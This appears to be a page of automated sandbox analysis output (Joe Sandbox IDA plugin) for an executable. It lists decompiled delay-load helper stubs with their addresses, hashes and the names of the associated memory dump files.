Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 3d4561a0118265d4ebb91cdddfd11e93a508ab32381d044da0866c76fae4a726
Instruction ID: 082cde372bc2a31d0437997cda2a837c910236c1344f5fb9f6cea539f3064365
Opcode Fuzzy Hash: 3d4561a0118265d4ebb91cdddfd11e93a508ab32381d044da0866c76fae4a726
Instruction Fuzzy Hash: 9BB012E139800AFC360C22955C0FC36122CF4C0B193B4C13FF804C4144A854DE0C6033

Uniqueness

Uniqueness Score: -1.00%

Function 008731C6 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731C6() {

				E008737B8(0x890d14, 0x8c9134); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 64c8dd267ea9258363a21e12b24efdcc17a441ddfc2cf0c09b26bb154273887e
Instruction ID: 61cc94e78505c0be011d15d4f6012646f0e438a540bcd304679ba922ab8d76b9
Opcode Fuzzy Hash: 64c8dd267ea9258363a21e12b24efdcc17a441ddfc2cf0c09b26bb154273887e
Instruction Fuzzy Hash: 07B012C139A00A7C364C62895D0BD36127CF4C0B597B4C13FF40CC4284D854DE0D2033

Uniqueness

Uniqueness Score: -1.00%

Function 008731D0 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731D0() {

				E008737B8(0x890d14, 0x8c9130); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 33399e78b106371ef8cb09efb7eb24fbcd6b818689fdfe72f598bc54c17f6286
Instruction ID: 27c99823d137cc2a10d0a484e1daf38cd07e9b2ddff3d5db21170752c0bd0e39
Opcode Fuzzy Hash: 33399e78b106371ef8cb09efb7eb24fbcd6b818689fdfe72f598bc54c17f6286
Instruction Fuzzy Hash: DBB012C13A900ABC354C62885C0BD3612BCF8C0B197B4C13FF40CC4244D854DD0C6033

Uniqueness

Uniqueness Score: -1.00%

Function 008731DA Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731DA() {

				E008737B8(0x890d14, 0x8c912c); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 3d557ea25723a40310fe3c4683a677dec89d943ed06e6abab15ad2ed0a7b1622
Instruction ID: f5a6352a2aafe94704ce22aa62c35ce82d5c956738d6a9649c531dd07686b010
Opcode Fuzzy Hash: 3d557ea25723a40310fe3c4683a677dec89d943ed06e6abab15ad2ed0a7b1622
Instruction Fuzzy Hash: 67B012C139800A7C394C72985C0BD3612ACF4C1B193B4C17FF908C4244E854DD0C2033

Uniqueness

Uniqueness Score: -1.00%

Function 008731E4 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731E4() {

				E008737B8(0x890d14, 0x8c9128); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 44786899c1e20ecb47494480edd6f1022bc5bfa8202d906c0be6202739b0811c
Instruction ID: bfe7c2b73fd8d19128200b52a105b5edbe3712ff80d0480efb7798375c7018a9
Opcode Fuzzy Hash: 44786899c1e20ecb47494480edd6f1022bc5bfa8202d906c0be6202739b0811c
Instruction Fuzzy Hash: C8B012C139810A7C358C72885C0BD3612ACF4C0B193B4C2BFF408C4244E854DD4C2033

Uniqueness

Uniqueness Score: -1.00%

Function 008731F8 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731F8() {

				E008737B8(0x890d14, 0x8c9120); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: f24bd6f86a323b6fb8e5d0159219ce7787c89967bb2d13d082cb5e0e90fbb372
Instruction ID: d6201941ca0dc2642871af1930c197e2be4e76aebfa0cdea00de770c5c16690f
Opcode Fuzzy Hash: f24bd6f86a323b6fb8e5d0159219ce7787c89967bb2d13d082cb5e0e90fbb372
Instruction Fuzzy Hash: 9AB012C239800EBC354C72885C0BD3612ACF4C0B193B4C23FF408C4244E854DD0C6033

Uniqueness

Uniqueness Score: -1.00%

Function 00873202 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873202() {

				E008737B8(0x890d14, 0x8c911c); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 14671bb4a9e9fa7dc5bad52c2abb07d00d0c32fbe77b6b3beaa6a33cc26a7b9b
Instruction ID: f0b2de5b5a9ce204df19991c6dfbed3d38a02917f95ffaa5aeba25797e0d4f86
Opcode Fuzzy Hash: 14671bb4a9e9fa7dc5bad52c2abb07d00d0c32fbe77b6b3beaa6a33cc26a7b9b
Instruction Fuzzy Hash: 35B012C139800A7C394C62885C0BD36126CF4C1B193B4C13FF808C4244E854DD0C2033

Uniqueness

Uniqueness Score: -1.00%

Function 0087320C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087320C() {

				E008737B8(0x890d14, 0x8c9118); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 5ece11812dffab14fb425fb2322a1ff76fa1fe163172032d69a5d3b4a394fbfb
Instruction ID: 87f645ec730b9fc72bafc06b17e201767d03594cc6095e698dd9c825406784fb
Opcode Fuzzy Hash: 5ece11812dffab14fb425fb2322a1ff76fa1fe163172032d69a5d3b4a394fbfb
Instruction Fuzzy Hash: 6CB012C139810A7C358C62885C0BD76126CF4C0B193B4C2BFF408C4244E854DD4C2033

Uniqueness

Uniqueness Score: -1.00%

Function 00873216 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873216() {

				E008737B8(0x890d14, 0x8c9114); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 8faeed17970fc574bdeb334988836d8c657e672dbedcb75e6a821d77ae013e3b
Instruction ID: 27fbcdfedba547e13762f26c161cefe2cd1b0cc355ef51dc0e2d2e060b36caaf
Opcode Fuzzy Hash: 8faeed17970fc574bdeb334988836d8c657e672dbedcb75e6a821d77ae013e3b
Instruction Fuzzy Hash: 79B012C139800A7C364C62899D0BD36126CF4C0F193B4C13FF409C4284E854DE0D2033

Uniqueness

Uniqueness Score: -1.00%

Function 00873220 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873220() {

				E008737B8(0x890d14, 0x8c9110); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 1dca41317c8996f4383d75b80bb91aa2b2bdf00dbc741e4bebd3d38581d9fba5
Instruction ID: 6d1a879783ffb311cb64e7247ccf1c11578c1221a55db3dd58f43ffa485c8484
Opcode Fuzzy Hash: 1dca41317c8996f4383d75b80bb91aa2b2bdf00dbc741e4bebd3d38581d9fba5
Instruction Fuzzy Hash: 7DB012C139800ABC354C62885C0BD36126CF4C0B193B4C53FF408C4284E854DD0C7033

Uniqueness

Uniqueness Score: -1.00%

Function 0087322A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087322A() {

				E008737B8(0x890d14, 0x8c910c); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 846bf48f1af8705518be148cded0f5bde771a6988ac67939d74bae0c9acb93b1
Instruction ID: 221f20a559de0310ac1dea228abc5c5da279869a13d8e14e72e3143cdba5c6f5
Opcode Fuzzy Hash: 846bf48f1af8705518be148cded0f5bde771a6988ac67939d74bae0c9acb93b1
Instruction Fuzzy Hash: DAB012D139800A7C394C62886C0BD36137CF4C1B193B4C17FF808C4244D854DD0C2533

Uniqueness

Uniqueness Score: -1.00%

Function 0087323E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087323E() {

				E008737B8(0x890d14, 0x8c9104); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: cfe45c23a8762932e00b857c0d41cbebbb65bf4d9e9c3ea485ae5a349d0a5ca1
Instruction ID: 5631f89c2cdc79d1569198d2c73f6210528537016e5cfb77a16b4cb3c7d91f30
Opcode Fuzzy Hash: cfe45c23a8762932e00b857c0d41cbebbb65bf4d9e9c3ea485ae5a349d0a5ca1
Instruction Fuzzy Hash: E8B012D139800A7C364C62896D4BD36126CF4C0B193B4C17FF408C4284E855DE0D2033

Uniqueness

Uniqueness Score: -1.00%

Function 00873A42 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873A42() {

				E008737B8(0x890dd4, 0x8c9018); // executed
				goto __eax;
			}

0x00873a54
0x00873a5b

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873A54

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: d8102474aaaec8bb95f29b49c67cba1bbbb59cbbbf71ae8b5a24f912ecdea3e1
Instruction ID: 539a7f5ad21439f3cd63a485500c8c2e2f08dde2e405e5af2c1f4a0cb9ae70dd
Opcode Fuzzy Hash: d8102474aaaec8bb95f29b49c67cba1bbbb59cbbbf71ae8b5a24f912ecdea3e1
Instruction Fuzzy Hash: EEB012C1298509BD370871885C07D77052CF5C0F14370C26EF888E0545A460DE4C3033

Uniqueness

Uniqueness Score: -1.00%

Function 00873248 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873248() {

				E008737B8(0x890d14, 0x8c9100); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
